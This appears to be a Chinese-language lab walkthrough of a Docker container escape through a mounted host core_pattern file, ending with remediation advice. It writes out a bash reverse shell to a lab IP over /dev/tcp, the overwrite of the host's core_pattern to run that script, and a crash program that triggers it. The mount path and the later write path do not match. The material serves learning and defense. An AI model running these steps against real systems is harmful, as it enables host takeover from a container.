影响版本

危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险

漏洞原理

若将宿主机的/proc目录挂载到容器内,攻击者可利用其core_pattern等机制实现逃逸

环境搭建

1
2
3
4
5
6
7
sudo docker run -it -v /proc/sys/kernel/core_pattern:/host/core_pattern ubuntu /bin/bash

#若返回2,则说明挂载了宿主机的procfs
find / -name core_pattern | wc -l

#找到merged目录路径(如/var/lib/docker/overlay2/.../merged)
cat /proc/mounts | grep overlay

image

在输出中寻找 upperdir 或 workdir,其父目录通常包含 merged 目录。一般在宿主机才能看到,容器内查替换一下目录就可以。

image

漏洞复现

编写反弹脚本exploit.sh,脚本放在容器的 /tmp/目录下,那么它在宿主机上的绝对路径就是 <merged-path>/tmp/exploit.sh

1
2
3
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/3333 0>&1' > /tmp/exploit.sh

chmod +x exploit.sh

修改core_pattern

1
2
#替换eb8bb6a79842369f78355661a99b1674424e1c76cf316824eab9102e7818fbb1
echo -e "|/var/lib/docker/overlay2/eb8bb6a79842369f78355661a99b1674424e1c76cf316824eab9102e7818fbb1/merged/tmp/exploit.sh \rcore" > /host/proc/sys/kernel/core_pattern

触发漏洞

在容器内运行一个会崩溃的程序,触发核心转储执行恶意脚本

1
2
3
4
5
6
7
8
cat > /tmp/test.c << EOF
#include <stdio.h>
int main() {
int *p = NULL;
*p = 42; // 对NULL指针解引用,必然导致段错误
return 0;
}
EOF
1
2
3
4
5
cd /tmp

apt update && apt install -y gcc
gcc -o test test.c
./test

image

image

修复建议

最根本的解决方法是不要将宿主机的/proc目录挂载到容器内部,尤其是那些不受信任或不需要直接与宿主机进程交互的容器。在运行容器时,检查并避免使用 -v /proc:/host/proc 这类挂载选项